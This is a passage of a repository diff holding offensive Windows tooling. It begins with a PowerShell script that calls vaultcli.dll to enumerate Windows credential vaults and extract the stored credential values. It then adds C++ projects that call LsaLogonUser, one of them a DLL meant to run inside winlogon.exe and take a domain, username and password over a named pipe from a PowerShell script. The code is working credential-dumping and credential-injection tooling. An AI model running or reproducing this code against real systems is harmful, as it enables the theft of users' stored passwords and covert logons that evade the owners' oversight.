[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
else
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
$Vaultcli = $TypeBuilder.CreateType()
#endregion
# Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
function local:Get-VaultElementValue
{
Param (
[ValidateScript({$_ -ne [IntPtr]::Zero})]
[IntPtr]
$VaultElementPtr
)
$PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
$ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
switch ($PartialElement.Type)
{
$VAULT_ELEMENT_TYPE::String {
$StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
[Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
}
$VAULT_ELEMENT_TYPE::Boolean {
[Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Short {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedShort {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Int {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedInt {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Double {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
}
$VAULT_ELEMENT_TYPE::Guid {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
}
$VAULT_ELEMENT_TYPE::Sid {
$SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
Write-Verbose "0x$($SidPtr.ToString('X8'))"
$SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
$SidObject.Value
}
# These elements are currently unimplemented.
# I have yet to see these used in practice.
$VAULT_ELEMENT_TYPE::ByteArray { $null }
$VAULT_ELEMENT_TYPE::TimeStamp { $null }
$VAULT_ELEMENT_TYPE::ProtectedArray { $null }
$VAULT_ELEMENT_TYPE::Attribute { $null }
$VAULT_ELEMENT_TYPE::Last { $null }
}
}
$VaultCount = 0
$VaultGuidPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
if ($Result -ne 0)
{
throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
}
$GuidAddress = $VaultGuidPtr
$VaultSchema = @{
([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
([Guid] '00000000-0000-0000-0000-000000000000') = $null
}
if ($VaultCount)
{
foreach ($i in 1..$VaultCount)
{
$VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
$GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
$VaultHandle = [IntPtr]::Zero
Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
$Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
if ($Result -ne 0)
{
Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$VaultItemCount = 0
$VaultItemPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
if ($Result -ne 0)
{
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$StructAddress = $VaultItemPtr
if ($VaultItemCount)
{
foreach ($j in 1..$VaultItemCount)
{
$CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
$PasswordVaultItem = [IntPtr]::Zero
if ($OSVersion -ge '6.2')
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
$CurrentItem.pPackageSid,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
else
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
$PasswordItem = $null
if ($Result -ne 0)
{
Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
continue
}
else
{
$PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
}
if ($VaultSchema.ContainsKey($VaultGuid))
{
$VaultType = $VaultSchema[$VaultGuid]
}
else
{
$VaultType = $VaultGuid
}
if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
{
$Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
}
else
{
$Credential = $null
}
$PackageSid = $null
if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
{
$PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
}
$Properties = @{
Vault = $VaultType
Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
PackageSid = $PackageSid
Credential = $Credential
LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
}
$VaultItem = New-Object PSObject -Property $Properties
$VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
$VaultItem
$null = $Vaultcli::VaultFree($PasswordVaultItem)
}
}
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
}
}
}
+37
View File
@@ -0,0 +1,37 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<ViewDefinitions>
<View>
<Name>VaultItemView</Name>
<ViewSelectedBy>
<TypeName>VAULTCLI.VAULTITEM</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Vault</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Resource</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Identity</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Credential</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PackageSid</PropertyName>
</ListItem>
<ListItem>
<PropertyName>LastModified</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
</ViewDefinitions>
</Configuration>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,26 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,137 @@
// LogonUser.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
using namespace std;
size_t wcsByteLen( const wchar_t* str );
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size);
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset);
int _tmain(int argc, _TCHAR* argv[])
{
//Get a handle to LSA
HANDLE hLSA = NULL;
NTSTATUS status = LsaConnectUntrusted(&hLSA);
if (status != 0)
{
cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl;
return -1;
}
if (hLSA == NULL)
{
cout << "hLSA is NULL, this shouldn't ever happen" << endl;
return -1;
}
//Build LsaLogonUser parameters
LSA_STRING originName = {};
char originNameStr[] = "qpqp";
originName.Buffer = originNameStr;
originName.Length = (USHORT)strlen(originNameStr);
originName.MaximumLength = originName.Length;
ULONG authPackage = 0;
PLSA_STRING authPackageName = new LSA_STRING();
char authPackageBuf[] = MSV1_0_PACKAGE_NAME;
authPackageName->Buffer = authPackageBuf;
authPackageName->Length = (USHORT)strlen(authPackageBuf);
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
if (status != 0)
{
int winError = LsaNtStatusToWinError(status);
cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError;
return -1;
}
DWORD authBufferSize = 0;
PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize);
cout << "authBufferSize: " << authBufferSize << endl;
//Get TokenSource
HANDLE hProcess = GetCurrentProcess();//todo
HANDLE procToken = NULL;
BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
if (!success)
{
DWORD errorCode = GetLastError();
cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl;
return -1;
}
TOKEN_SOURCE tokenSource = {};
DWORD realSize = 0;
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
if (!success)
{
cout << "Call to GetTokenInformation failed." << endl;
return -1;
}
//Misc
PVOID profileBuffer = NULL;
ULONG profileBufferSize = 0;
LUID loginId;
HANDLE token = NULL;
QUOTA_LIMITS quotaLimits;
NTSTATUS subStatus = 0;
status = LsaLogonUser(hLSA,
&originName,
RemoteInteractive,
authPackage,
authBuffer,
authBufferSize,
0,
&tokenSource,
&profileBuffer,
&profileBufferSize,
&loginId,
&token,
&quotaLimits,
&subStatus);
if (status != 0)
{
NTSTATUS winError = LsaNtStatusToWinError(status);
cout << "Error calling LsaLogonUser. Error code: " << winError << endl;
return -1;
}
cout << "Success!" << endl;
return 1;
}
//size will be set to the size of the structure created
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize);
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON);
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset);
offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset);
offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset)
{
const wchar_t* buffer = str.c_str();
size_t size = str.length() * sizeof(wchar_t);
uniStr->Length = (USHORT)size;
uniStr->MaximumLength = (USHORT)size;
uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset);
memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size);
return size;
}
@@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>LogonUser</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="LogonUser.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LogonUser.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,40 @@
========================================================================
CONSOLE APPLICATION : LogonUser Project Overview
========================================================================
AppWizard has created this LogonUser application for you.
This file contains a summary of what you will find in each of the files that
make up your LogonUser application.
LogonUser.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
LogonUser.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
LogonUser.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named LogonUser.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// LogonUser.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,20 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <Windows.h>
#include <NTSecAPI.h>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
@@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : logon Project Overview
========================================================================
AppWizard has created this logon DLL for you.
This file contains a summary of what you will find in each of the files that
make up your logon application.
logon.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
logon.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
logon.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named logon.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,19 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
@@ -0,0 +1,262 @@
// logon.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
using namespace std;
size_t wcsByteLen( const wchar_t* str );
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address);
void WriteErrorToPipe(string errorMsg, HANDLE pipe);
extern "C" __declspec( dllexport ) void VoidFunc();
//The entire point of this code is to call LsaLogonUser from within winlogon.exe
extern "C" __declspec( dllexport ) void VoidFunc()
{
//Open a pipe which will receive data from the PowerShell script.
HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE)
{
return;
}
const size_t strSize = 257;
size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t);
wchar_t* domain = new wchar_t[strSize];
wchar_t* username = new wchar_t[strSize];
wchar_t* password = new wchar_t[strSize];
DWORD bytesRead = 0;
BOOL success = ReadFile(pipe, domain, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
domain[bytesRead/2] = '\0';
bytesRead = 0;
success = ReadFile(pipe, username, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
username[bytesRead/2] = '\0';
bytesRead = 0;
success = ReadFile(pipe, password, bytesToRead, &bytesRead, NULL);
if (!success)
{
return;
}
password[bytesRead/2] = '\0';
bytesRead = 0;
//Get the logon type from the pipe
USHORT logonType = 10;
success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL);
if (!success)
{
return;
}
bytesRead = 0;
//Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos
USHORT authPackageToUse = 0;
success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL);
if (!success)
{
return;
}
bytesRead = 0;
/////////////
//Build the parameters to call LsaLogonUser with
/////////////
//Get a handle to LSA
HANDLE hLSA = NULL;
NTSTATUS status = LsaConnectUntrusted(&hLSA);
if (status != 0)
{
string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status);
WriteErrorToPipe(errorMsg, pipe);
return;
}
if (hLSA == NULL)
{
string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen.";
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Build LsaLogonUser parameters
LSA_STRING originName = {};
char originNameStr[] = "";
originName.Buffer = originNameStr;
originName.Length = (USHORT)0;
originName.MaximumLength = 0;
//Build the authentication package parameter based on the auth package the powershell script specified to use
//Also get the AuthenticationInformation
char* authPackageBuf = NULL;
DWORD authBufferSize = 0;
PVOID authBuffer = NULL;
if (authPackageToUse == 1)
{
authPackageBuf = MSV1_0_PACKAGE_NAME;
authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize);
}
else if (authPackageToUse == 2)
{
authPackageBuf = MICROSOFT_KERBEROS_NAME_A;
